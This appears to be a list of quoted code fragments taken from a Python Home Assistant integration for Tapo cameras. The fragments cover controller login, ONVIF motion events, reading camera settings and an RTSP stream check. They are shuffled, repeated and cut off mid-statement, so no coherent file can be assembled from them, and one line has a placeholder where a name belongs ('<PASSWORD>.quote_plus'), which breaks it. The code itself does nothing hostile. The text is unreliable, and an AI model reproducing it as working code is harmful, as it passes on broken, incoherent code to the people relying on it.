"entry.data.get(CONF_USERNAME) password = entry.data.get(CONF_PASSWORD) motionSensor = entry.data.get(ENABLE_MOTION_SENSOR) cloud_password = entry.data.get(CLOUD_PASSWORD)",
"= alarm_mode try: commonImageData = await hass.async_add_executor_job(controller.getCommonImage) day_night_mode = commonImageData[\"image\"][\"common\"][\"inf_type\"]",
"registerController, host, \"admin\", cloud_password ) else: tapoController = await hass.async_add_executor_job(",
"options update.\"\"\" host = entry.data.get(CONF_IP_ADDRESS) username = entry.data.get(CONF_USERNAME) password =",
"= {} presets = await hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"] = controller.user camData[\"basic_info\"]",
"ENABLE_MOTION_SENSOR, DOMAIN, LOGGER, CLOUD_PASSWORD from homeassistant.const import CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD",
"entity._password = password if hass.data[DOMAIN][entry.entry_id][\"events\"]: await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await",
"= hass.data[DOMAIN][entry.entry_id][\"events\"] if await events.async_start(): if not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] =",
"hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] = await setupEvents( hass, entry ) async def setupEvents(hass,",
"\"20\": motion_detection_sensitivity = \"low\" elif motionDetectionData[\"digital_sensitivity\"] == \"50\": motion_detection_sensitivity =",
"f\"{entry.entry_id}_tapo_events\", ) hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] = await setupEvents( hass, entry ) async",
"b\"\" async def initOnvifEvents(hass, host, username, password): device = ONVIFCamera(",
"\"\"\"Handle options update.\"\"\" host = entry.data.get(CONF_IP_ADDRESS) username = entry.data.get(CONF_USERNAME) password",
"hass.data[DOMAIN][entry.entry_id][\"events\"] if await events.async_start(): if not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = True",
"cloud_password ) else: tapoController = await hass.async_add_executor_job( registerController, host, username,",
"auto_track[\"enabled\"] except Exception: auto_track = None camData[\"auto_track\"] = auto_track if",
"device_info = await device_mgmt.GetDeviceInformation() if \"Manufacturer\" not in device_info: raise",
"= True hass.async_create_task( hass.config_entries.async_forward_entry_setup( entry, \"binary_sensor\" ) ) return True",
"hass.async_add_executor_job(controller.getAlarm) alarm = alarmData[\"enabled\"] alarm_mode = alarmData[\"alarm_mode\"] except Exception: alarm",
"= None alarm_mode = None camData[\"alarm\"] = alarm camData[\"alarm_mode\"] =",
"alarm_mode try: commonImageData = await hass.async_add_executor_job(controller.getCommonImage) day_night_mode = commonImageData[\"image\"][\"common\"][\"inf_type\"] except",
"motion_detection_enabled = motionDetectionData[\"enabled\"] if motionDetectionData[\"digital_sensitivity\"] == \"20\": motion_detection_sensitivity = \"low\"",
"device_mgmt = device.create_devicemgmt_service() device_info = await device_mgmt.GetDeviceInformation() if \"Manufacturer\" not",
"import asyncio import urllib.parse from onvif import ONVIFCamera from pytapo",
"def getCamData(hass, controller): camData = {} presets = await hass.async_add_executor_job(controller.isSupportingPresets)",
"import EventManager from homeassistant.components.ffmpeg import DATA_FFMPEG from haffmpeg.tools import IMAGE_JPEG,",
"await hass.async_add_executor_job( controller.getMotionDetection ) motion_detection_enabled = motionDetectionData[\"enabled\"] if motionDetectionData[\"digital_sensitivity\"] ==",
"= alarm camData[\"alarm_mode\"] = alarm_mode try: commonImageData = await hass.async_add_executor_job(controller.getCommonImage)",
"import urllib.parse from onvif import ONVIFCamera from pytapo import Tapo",
"= await hass.async_add_executor_job(controller.getAlarm) alarm = alarmData[\"enabled\"] alarm_mode = alarmData[\"alarm_mode\"] except",
"camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try: motionDetectionData = await hass.async_add_executor_job( controller.getMotionDetection ) motion_detection_enabled =",
"cloud_password != \"\": tapoController = await hass.async_add_executor_job( registerController, host, \"admin\",",
"return Tapo(host, username, password) async def isRtspStreamWorking(hass, host, username, password):",
"raise Exception(\"Onvif connection has failed.\") return device except Exception: pass",
"camData[\"privacy_mode\"] = privacy_mode try: alarmData = await hass.async_add_executor_job(controller.getAlarm) alarm =",
"auto_track if presets: camData[\"presets\"] = presets else: camData[\"presets\"] = {}",
"motionSensor: await setupOnvif(hass, entry, host, username, password) async def setupOnvif(hass,",
"host, \"admin\", cloud_password ) else: tapoController = await hass.async_add_executor_job( registerController,",
"in hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host = host entity._username = username entity._password =",
"def registerController(host, username, password): return Tapo(host, username, password) async def",
"if hass.data[DOMAIN][entry.entry_id][\"events\"]: await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]",
"None except Exception: motion_detection_enabled = None motion_detection_sensitivity = None camData[\"motion_detection_enabled\"]",
"registerController, host, username, password ) hass.data[DOMAIN][entry.entry_id][\"controller\"] = tapoController except Exception:",
"from homeassistant.components.onvif.event import EventManager from homeassistant.components.ffmpeg import DATA_FFMPEG from haffmpeg.tools",
"username, password ) hass.data[DOMAIN][entry.entry_id][\"controller\"] = tapoController except Exception: LOGGER.error( \"Authentication",
"hass.async_add_executor_job(controller.getLED) led = led[\"enabled\"] except Exception: led = None camData[\"led\"]",
"import Tapo from .const import ENABLE_MOTION_SENSOR, DOMAIN, LOGGER, CLOUD_PASSWORD from",
"password): _ffmpeg = hass.data[DATA_FFMPEG] ffmpeg = ImageFrame(_ffmpeg.binary, loop=hass.loop) username =",
"device.create_devicemgmt_service() device_info = await device_mgmt.GetDeviceInformation() if \"Manufacturer\" not in device_info:",
"return camData async def update_listener(hass, entry): \"\"\"Handle options update.\"\"\" host",
"return device except Exception: pass return False async def getCamData(hass,",
"entry.data.get(CONF_IP_ADDRESS) username = entry.data.get(CONF_USERNAME) password = entry.data.get(CONF_PASSWORD) motionSensor = entry.data.get(ENABLE_MOTION_SENSOR)",
"await hass.async_add_executor_job(controller.getCommonImage) day_night_mode = commonImageData[\"image\"][\"common\"][\"inf_type\"] except Exception: day_night_mode = None",
"commonImageData[\"image\"][\"common\"][\"inf_type\"] except Exception: day_night_mode = None camData[\"day_night_mode\"] = day_night_mode try:",
"camData[\"presets\"] = {} return camData async def update_listener(hass, entry): \"\"\"Handle",
"entry ) async def setupEvents(hass, entry): if not hass.data[DOMAIN][entry.entry_id][\"events\"].started: events",
"password = entry.data.get(CONF_PASSWORD) motionSensor = entry.data.get(ENABLE_MOTION_SENSOR) cloud_password = entry.data.get(CLOUD_PASSWORD) try:",
"homeassistant.components.ffmpeg import DATA_FFMPEG from haffmpeg.tools import IMAGE_JPEG, ImageFrame def registerController(host,",
"ffmpeg.get_image( streaming_url, output_format=IMAGE_JPEG, ) ) return not image == b\"\"",
"ffmpeg = ImageFrame(_ffmpeg.binary, loop=hass.loop) username = urllib.parse.quote_plus(username) password = <PASSWORD>.quote_plus(password)",
"entry.data.get(CLOUD_PASSWORD) try: if cloud_password != \"\": tapoController = await hass.async_add_executor_job(",
"= commonImageData[\"image\"][\"common\"][\"inf_type\"] except Exception: day_night_mode = None camData[\"day_night_mode\"] = day_night_mode",
"pytapo import Tapo from .const import ENABLE_MOTION_SENSOR, DOMAIN, LOGGER, CLOUD_PASSWORD",
"None camData[\"privacy_mode\"] = privacy_mode try: alarmData = await hass.async_add_executor_job(controller.getAlarm) alarm",
"for entity in hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host = host entity._username = username",
"motion_detection_sensitivity try: privacy_mode = await hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode = privacy_mode[\"enabled\"] except",
"def setupOnvif(hass, entry, host, username, password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] = await initOnvifEvents(",
"LOGGER, CLOUD_PASSWORD from homeassistant.const import CONF_IP_ADDRESS, CONF_USERNAME, CONF_PASSWORD from homeassistant.components.onvif.event",
"= hass.data[DATA_FFMPEG] ffmpeg = ImageFrame(_ffmpeg.binary, loop=hass.loop) username = urllib.parse.quote_plus(username) password",
"async def getCamData(hass, controller): camData = {} presets = await",
"await device_mgmt.GetDeviceInformation() if \"Manufacturer\" not in device_info: raise Exception(\"Onvif connection",
"hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode = privacy_mode[\"enabled\"] except Exception: privacy_mode = None camData[\"privacy_mode\"]",
"password): device = ONVIFCamera( host, 2020, username, password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True,",
"from haffmpeg.tools import IMAGE_JPEG, ImageFrame def registerController(host, username, password): return",
"= None camData[\"auto_track\"] = auto_track if presets: camData[\"presets\"] = presets",
"output_format=IMAGE_JPEG, ) ) return not image == b\"\" async def",
"hass.data[DOMAIN][entry.entry_id][\"events\"]: await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] =",
"entry.data.get(ENABLE_MOTION_SENSOR) cloud_password = entry.data.get(CLOUD_PASSWORD) try: if cloud_password != \"\": tapoController",
"IMAGE_JPEG, ImageFrame def registerController(host, username, password): return Tapo(host, username, password)",
"= alarmData[\"enabled\"] alarm_mode = alarmData[\"alarm_mode\"] except Exception: alarm = None",
"hass.data[DATA_FFMPEG] ffmpeg = ImageFrame(_ffmpeg.binary, loop=hass.loop) username = urllib.parse.quote_plus(username) password =",
"camData[\"user\"] = controller.user camData[\"basic_info\"] = await hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"] = camData[\"basic_info\"][\"device_info\"][\"basic_info\"]",
"_ffmpeg = hass.data[DATA_FFMPEG] ffmpeg = ImageFrame(_ffmpeg.binary, loop=hass.loop) username = urllib.parse.quote_plus(username)",
"if presets: camData[\"presets\"] = presets else: camData[\"presets\"] = {} return",
"alarm = None alarm_mode = None camData[\"alarm\"] = alarm camData[\"alarm_mode\"]",
"\" Please restart the camera and try again.\" ) for",
"= await asyncio.shield( ffmpeg.get_image( streaming_url, output_format=IMAGE_JPEG, ) ) return not",
"= await hass.async_add_executor_job(controller.getCommonImage) day_night_mode = commonImageData[\"image\"][\"common\"][\"inf_type\"] except Exception: day_night_mode =",
"username = urllib.parse.quote_plus(username) password = <PASSWORD>.quote_plus(password) streaming_url = f\"rtsp://{username}:{password}@{host}:554/stream1\" image",
"host, 2020, username, password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True, ) try: await device.update_xaddrs()",
"= camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try: motionDetectionData = await hass.async_add_executor_job( controller.getMotionDetection ) motion_detection_enabled",
"username, password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True, ) try: await device.update_xaddrs() device_mgmt =",
"connection has failed.\") return device except Exception: pass return False",
"= device.create_devicemgmt_service() device_info = await device_mgmt.GetDeviceInformation() if \"Manufacturer\" not in",
"== \"50\": motion_detection_sensitivity = \"normal\" elif motionDetectionData[\"digital_sensitivity\"] == \"80\": motion_detection_sensitivity",
"= await setupEvents( hass, entry ) async def setupEvents(hass, entry):",
"ONVIFCamera from pytapo import Tapo from .const import ENABLE_MOTION_SENSOR, DOMAIN,",
"= EventManager( hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\", ) hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] = await setupEvents(",
"= await hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode = privacy_mode[\"enabled\"] except Exception: privacy_mode =",
"else: motion_detection_sensitivity = None except Exception: motion_detection_enabled = None motion_detection_sensitivity",
"2020, username, password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True, ) try: await device.update_xaddrs() device_mgmt",
"entity._username = username entity._password = password if hass.data[DOMAIN][entry.entry_id][\"events\"]: await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop()",
"= urllib.parse.quote_plus(username) password = <PASSWORD>.quote_plus(password) streaming_url = f\"rtsp://{username}:{password}@{host}:554/stream1\" image =",
"if motionSensor: await setupOnvif(hass, entry, host, username, password) async def",
"host, username, password) async def setupOnvif(hass, entry, host, username, password):",
"await hass.async_add_executor_job( registerController, host, username, password ) hass.data[DOMAIN][entry.entry_id][\"controller\"] = tapoController",
"events.async_start(): if not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = True hass.async_create_task( hass.config_entries.async_forward_entry_setup( entry,",
"privacy_mode = await hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode = privacy_mode[\"enabled\"] except Exception: privacy_mode",
"entry): if not hass.data[DOMAIN][entry.entry_id][\"events\"].started: events = hass.data[DOMAIN][entry.entry_id][\"events\"] if await events.async_start():",
") try: await device.update_xaddrs() device_mgmt = device.create_devicemgmt_service() device_info = await",
"= await device_mgmt.GetDeviceInformation() if \"Manufacturer\" not in device_info: raise Exception(\"Onvif",
"host, username, password ) if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"] = EventManager( hass,",
"alarm = alarmData[\"enabled\"] alarm_mode = alarmData[\"alarm_mode\"] except Exception: alarm =",
"hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = False if motionSensor: await setupOnvif(hass, entry, host, username,",
"hass.async_create_task( hass.config_entries.async_forward_entry_setup( entry, \"binary_sensor\" ) ) return True else: return",
"setupOnvif(hass, entry, host, username, password) async def setupOnvif(hass, entry, host,",
") if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"] = EventManager( hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\", )",
"setupEvents( hass, entry ) async def setupEvents(hass, entry): if not",
"= {} return camData async def update_listener(hass, entry): \"\"\"Handle options",
"hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = True hass.async_create_task( hass.config_entries.async_forward_entry_setup( entry, \"binary_sensor\" ) ) return",
"== b\"\" async def initOnvifEvents(hass, host, username, password): device =",
"None camData[\"motion_detection_enabled\"] = motion_detection_enabled camData[\"motion_detection_sensitivity\"] = motion_detection_sensitivity try: privacy_mode =",
"restart the camera and try again.\" ) for entity in",
"motion_detection_sensitivity = \"low\" elif motionDetectionData[\"digital_sensitivity\"] == \"50\": motion_detection_sensitivity = \"normal\"",
"password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] = await initOnvifEvents( hass, host, username, password )",
"isRtspStreamWorking(hass, host, username, password): _ffmpeg = hass.data[DATA_FFMPEG] ffmpeg = ImageFrame(_ffmpeg.binary,",
"hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track = auto_track[\"enabled\"] except Exception: auto_track = None camData[\"auto_track\"]",
"from onvif import ONVIFCamera from pytapo import Tapo from .const",
"motionDetectionData[\"digital_sensitivity\"] == \"20\": motion_detection_sensitivity = \"low\" elif motionDetectionData[\"digital_sensitivity\"] == \"50\":",
"if await events.async_start(): if not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = True hass.async_create_task(",
"= f\"rtsp://{username}:{password}@{host}:554/stream1\" image = await asyncio.shield( ffmpeg.get_image( streaming_url, output_format=IMAGE_JPEG, )",
"host, username, password): _ffmpeg = hass.data[DATA_FFMPEG] ffmpeg = ImageFrame(_ffmpeg.binary, loop=hass.loop)",
"from pytapo import Tapo from .const import ENABLE_MOTION_SENSOR, DOMAIN, LOGGER,",
"motionDetectionData[\"enabled\"] if motionDetectionData[\"digital_sensitivity\"] == \"20\": motion_detection_sensitivity = \"low\" elif motionDetectionData[\"digital_sensitivity\"]",
"host, username, password): device = ONVIFCamera( host, 2020, username, password,",
"Exception: auto_track = None camData[\"auto_track\"] = auto_track if presets: camData[\"presets\"]",
"elif motionDetectionData[\"digital_sensitivity\"] == \"50\": motion_detection_sensitivity = \"normal\" elif motionDetectionData[\"digital_sensitivity\"] ==",
"await hass.async_add_executor_job( registerController, host, \"admin\", cloud_password ) else: tapoController =",
"True hass.async_create_task( hass.config_entries.async_forward_entry_setup( entry, \"binary_sensor\" ) ) return True else:",
"try: auto_track = await hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track = auto_track[\"enabled\"] except Exception:",
"import ONVIFCamera from pytapo import Tapo from .const import ENABLE_MOTION_SENSOR,",
"await hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = False if motionSensor: await setupOnvif(hass,",
"except Exception: pass return False async def getCamData(hass, controller): camData",
"EventManager from homeassistant.components.ffmpeg import DATA_FFMPEG from haffmpeg.tools import IMAGE_JPEG, ImageFrame",
"hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] = await initOnvifEvents( hass, host, username, password ) if",
"None camData[\"day_night_mode\"] = day_night_mode try: led = await hass.async_add_executor_job(controller.getLED) led",
"camData[\"basic_info\"] = await hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"] = camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try: motionDetectionData =",
"Exception: alarm = None alarm_mode = None camData[\"alarm\"] = alarm",
"Tapo camera failed.\" + \" Please restart the camera and",
"await setupEvents( hass, entry ) async def setupEvents(hass, entry): if",
"username, password) async def setupOnvif(hass, entry, host, username, password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]",
"ImageFrame def registerController(host, username, password): return Tapo(host, username, password) async",
"camData[\"presets\"] = presets else: camData[\"presets\"] = {} return camData async",
"motion_detection_sensitivity = None camData[\"motion_detection_enabled\"] = motion_detection_enabled camData[\"motion_detection_sensitivity\"] = motion_detection_sensitivity try:",
"await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = False",
"async def setupEvents(hass, entry): if not hass.data[DOMAIN][entry.entry_id][\"events\"].started: events = hass.data[DOMAIN][entry.entry_id][\"events\"]",
"except Exception: motion_detection_enabled = None motion_detection_sensitivity = None camData[\"motion_detection_enabled\"] =",
"= day_night_mode try: led = await hass.async_add_executor_job(controller.getLED) led = led[\"enabled\"]",
"if cloud_password != \"\": tapoController = await hass.async_add_executor_job( registerController, host,",
"hass.data[DOMAIN][entry.entry_id][\"events\"] = EventManager( hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\", ) hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] = await",
"async def update_listener(hass, entry): \"\"\"Handle options update.\"\"\" host = entry.data.get(CONF_IP_ADDRESS)",
"username, password): hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"] = await initOnvifEvents( hass, host, username, password",
"update.\"\"\" host = entry.data.get(CONF_IP_ADDRESS) username = entry.data.get(CONF_USERNAME) password = entry.data.get(CONF_PASSWORD)",
"haffmpeg.tools import IMAGE_JPEG, ImageFrame def registerController(host, username, password): return Tapo(host,",
"= await hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"] = controller.user camData[\"basic_info\"] = await hass.async_add_executor_job(controller.getBasicInfo)",
"hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\", ) hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] = await setupEvents( hass, entry",
"from .const import ENABLE_MOTION_SENSOR, DOMAIN, LOGGER, CLOUD_PASSWORD from homeassistant.const import",
"password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True, ) try: await device.update_xaddrs() device_mgmt = device.create_devicemgmt_service()",
"hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = False if motionSensor: await setupOnvif(hass, entry,",
"led try: auto_track = await hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track = auto_track[\"enabled\"] except",
"= await hass.async_add_executor_job( controller.getMotionDetection ) motion_detection_enabled = motionDetectionData[\"enabled\"] if motionDetectionData[\"digital_sensitivity\"]",
"camData[\"motion_detection_enabled\"] = motion_detection_enabled camData[\"motion_detection_sensitivity\"] = motion_detection_sensitivity try: privacy_mode = await",
"motionDetectionData[\"digital_sensitivity\"] == \"50\": motion_detection_sensitivity = \"normal\" elif motionDetectionData[\"digital_sensitivity\"] == \"80\":",
"\"Manufacturer\" not in device_info: raise Exception(\"Onvif connection has failed.\") return",
"= None camData[\"motion_detection_enabled\"] = motion_detection_enabled camData[\"motion_detection_sensitivity\"] = motion_detection_sensitivity try: privacy_mode",
"== \"20\": motion_detection_sensitivity = \"low\" elif motionDetectionData[\"digital_sensitivity\"] == \"50\": motion_detection_sensitivity",
"except Exception: led = None camData[\"led\"] = led try: auto_track",
"\"80\": motion_detection_sensitivity = \"high\" else: motion_detection_sensitivity = None except Exception:",
"motion_detection_sensitivity = None except Exception: motion_detection_enabled = None motion_detection_sensitivity =",
"presets: camData[\"presets\"] = presets else: camData[\"presets\"] = {} return camData",
"username, password): device = ONVIFCamera( host, 2020, username, password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\",",
"hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"] = camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try: motionDetectionData = await hass.async_add_executor_job( controller.getMotionDetection",
"alarm camData[\"alarm_mode\"] = alarm_mode try: commonImageData = await hass.async_add_executor_job(controller.getCommonImage) day_night_mode",
"Please restart the camera and try again.\" ) for entity",
"hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: await hass.config_entries.async_forward_entry_unload(entry, \"binary_sensor\") hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = False if motionSensor: await",
"= tapoController except Exception: LOGGER.error( \"Authentication to Tapo camera failed.\"",
"= entry.data.get(ENABLE_MOTION_SENSOR) cloud_password = entry.data.get(CLOUD_PASSWORD) try: if cloud_password != \"\":",
"= presets else: camData[\"presets\"] = {} return camData async def",
"no_cache=True, ) try: await device.update_xaddrs() device_mgmt = device.create_devicemgmt_service() device_info =",
"elif motionDetectionData[\"digital_sensitivity\"] == \"80\": motion_detection_sensitivity = \"high\" else: motion_detection_sensitivity =",
"led = led[\"enabled\"] except Exception: led = None camData[\"led\"] =",
"initOnvifEvents( hass, host, username, password ) if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"] =",
"= controller.user camData[\"basic_info\"] = await hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"] = camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try:",
"= None camData[\"privacy_mode\"] = privacy_mode try: alarmData = await hass.async_add_executor_job(controller.getAlarm)",
"username = entry.data.get(CONF_USERNAME) password = entry.data.get(CONF_PASSWORD) motionSensor = entry.data.get(ENABLE_MOTION_SENSOR) cloud_password",
"asyncio import urllib.parse from onvif import ONVIFCamera from pytapo import",
"EventManager( hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"], f\"{entry.entry_id}_tapo_events\", ) hass.data[DOMAIN][entry.entry_id][\"eventsSetup\"] = await setupEvents( hass,",
"DATA_FFMPEG from haffmpeg.tools import IMAGE_JPEG, ImageFrame def registerController(host, username, password):",
"await hass.async_add_executor_job(controller.getAutoTrackTarget) auto_track = auto_track[\"enabled\"] except Exception: auto_track = None",
"failed.\") return device except Exception: pass return False async def",
"= await initOnvifEvents( hass, host, username, password ) if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]:",
"alarm_mode = None camData[\"alarm\"] = alarm camData[\"alarm_mode\"] = alarm_mode try:",
"alarmData = await hass.async_add_executor_job(controller.getAlarm) alarm = alarmData[\"enabled\"] alarm_mode = alarmData[\"alarm_mode\"]",
") motion_detection_enabled = motionDetectionData[\"enabled\"] if motionDetectionData[\"digital_sensitivity\"] == \"20\": motion_detection_sensitivity =",
"= led[\"enabled\"] except Exception: led = None camData[\"led\"] = led",
"= await hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"] = camData[\"basic_info\"][\"device_info\"][\"basic_info\"] try: motionDetectionData = await",
"motion_detection_enabled camData[\"motion_detection_sensitivity\"] = motion_detection_sensitivity try: privacy_mode = await hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode",
"def initOnvifEvents(hass, host, username, password): device = ONVIFCamera( host, 2020,",
"await hass.async_add_executor_job(controller.getPrivacyMode) privacy_mode = privacy_mode[\"enabled\"] except Exception: privacy_mode = None",
"hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = True hass.async_create_task( hass.config_entries.async_forward_entry_setup( entry, \"binary_sensor\" ) )",
"image = await asyncio.shield( ffmpeg.get_image( streaming_url, output_format=IMAGE_JPEG, ) ) return",
"controller.getMotionDetection ) motion_detection_enabled = motionDetectionData[\"enabled\"] if motionDetectionData[\"digital_sensitivity\"] == \"20\": motion_detection_sensitivity",
"if not hass.data[DOMAIN][entry.entry_id][\"events\"].started: events = hass.data[DOMAIN][entry.entry_id][\"events\"] if await events.async_start(): if",
"await asyncio.shield( ffmpeg.get_image( streaming_url, output_format=IMAGE_JPEG, ) ) return not image",
"username, password): _ffmpeg = hass.data[DATA_FFMPEG] ffmpeg = ImageFrame(_ffmpeg.binary, loop=hass.loop) username",
"asyncio.shield( ffmpeg.get_image( streaming_url, output_format=IMAGE_JPEG, ) ) return not image ==",
"initOnvifEvents(hass, host, username, password): device = ONVIFCamera( host, 2020, username,",
"registerController(host, username, password): return Tapo(host, username, password) async def isRtspStreamWorking(hass,",
"motionDetectionData[\"digital_sensitivity\"] == \"80\": motion_detection_sensitivity = \"high\" else: motion_detection_sensitivity = None",
"import onvif import os import asyncio import urllib.parse from onvif",
"Exception: day_night_mode = None camData[\"day_night_mode\"] = day_night_mode try: led =",
"= username entity._password = password if hass.data[DOMAIN][entry.entry_id][\"events\"]: await hass.data[DOMAIN][entry.entry_id][\"events\"].async_stop() if",
"entry): \"\"\"Handle options update.\"\"\" host = entry.data.get(CONF_IP_ADDRESS) username = entry.data.get(CONF_USERNAME)",
"presets = await hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"] = controller.user camData[\"basic_info\"] = await",
"camData async def update_listener(hass, entry): \"\"\"Handle options update.\"\"\" host =",
"if not hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"]: hass.data[DOMAIN][entry.entry_id][\"motionSensorCreated\"] = True hass.async_create_task( hass.config_entries.async_forward_entry_setup( entry, \"binary_sensor\"",
"presets else: camData[\"presets\"] = {} return camData async def update_listener(hass,",
"tapoController = await hass.async_add_executor_job( registerController, host, username, password ) hass.data[DOMAIN][entry.entry_id][\"controller\"]",
"= ONVIFCamera( host, 2020, username, password, f\"{os.path.dirname(onvif.__file__)}/wsdl/\", no_cache=True, ) try:",
"try: alarmData = await hass.async_add_executor_job(controller.getAlarm) alarm = alarmData[\"enabled\"] alarm_mode =",
"= None motion_detection_sensitivity = None camData[\"motion_detection_enabled\"] = motion_detection_enabled camData[\"motion_detection_sensitivity\"] =",
"= entry.data.get(CLOUD_PASSWORD) try: if cloud_password != \"\": tapoController = await",
"hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host = host entity._username = username entity._password = password",
"try: commonImageData = await hass.async_add_executor_job(controller.getCommonImage) day_night_mode = commonImageData[\"image\"][\"common\"][\"inf_type\"] except Exception:",
"+ \" Please restart the camera and try again.\" )",
"privacy_mode = privacy_mode[\"enabled\"] except Exception: privacy_mode = None camData[\"privacy_mode\"] =",
"except Exception: auto_track = None camData[\"auto_track\"] = auto_track if presets:",
"host = entry.data.get(CONF_IP_ADDRESS) username = entry.data.get(CONF_USERNAME) password = entry.data.get(CONF_PASSWORD) motionSensor",
"host, username, password ) hass.data[DOMAIN][entry.entry_id][\"controller\"] = tapoController except Exception: LOGGER.error(",
"hass.async_add_executor_job(controller.isSupportingPresets) camData[\"user\"] = controller.user camData[\"basic_info\"] = await hass.async_add_executor_job(controller.getBasicInfo) camData[\"basic_info\"] =",
"and try again.\" ) for entity in hass.data[DOMAIN][entry.entry_id][\"entities\"]: entity._host =",
"\"normal\" elif motionDetectionData[\"digital_sensitivity\"] == \"80\": motion_detection_sensitivity = \"high\" else: motion_detection_sensitivity",
"= auto_track[\"enabled\"] except Exception: auto_track = None camData[\"auto_track\"] = auto_track",
"username, password ) if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"] = EventManager( hass, hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"],",
"= ImageFrame(_ffmpeg.binary, loop=hass.loop) username = urllib.parse.quote_plus(username) password = <PASSWORD>.quote_plus(password) streaming_url",
"hass.async_add_executor_job( registerController, host, username, password ) hass.data[DOMAIN][entry.entry_id][\"controller\"] = tapoController except",
"entity._host = host entity._username = username entity._password = password if",
"else: tapoController = await hass.async_add_executor_job( registerController, host, username, password )",
"await initOnvifEvents( hass, host, username, password ) if hass.data[DOMAIN][entry.entry_id][\"eventsDevice\"]: hass.data[DOMAIN][entry.entry_id][\"events\"]",
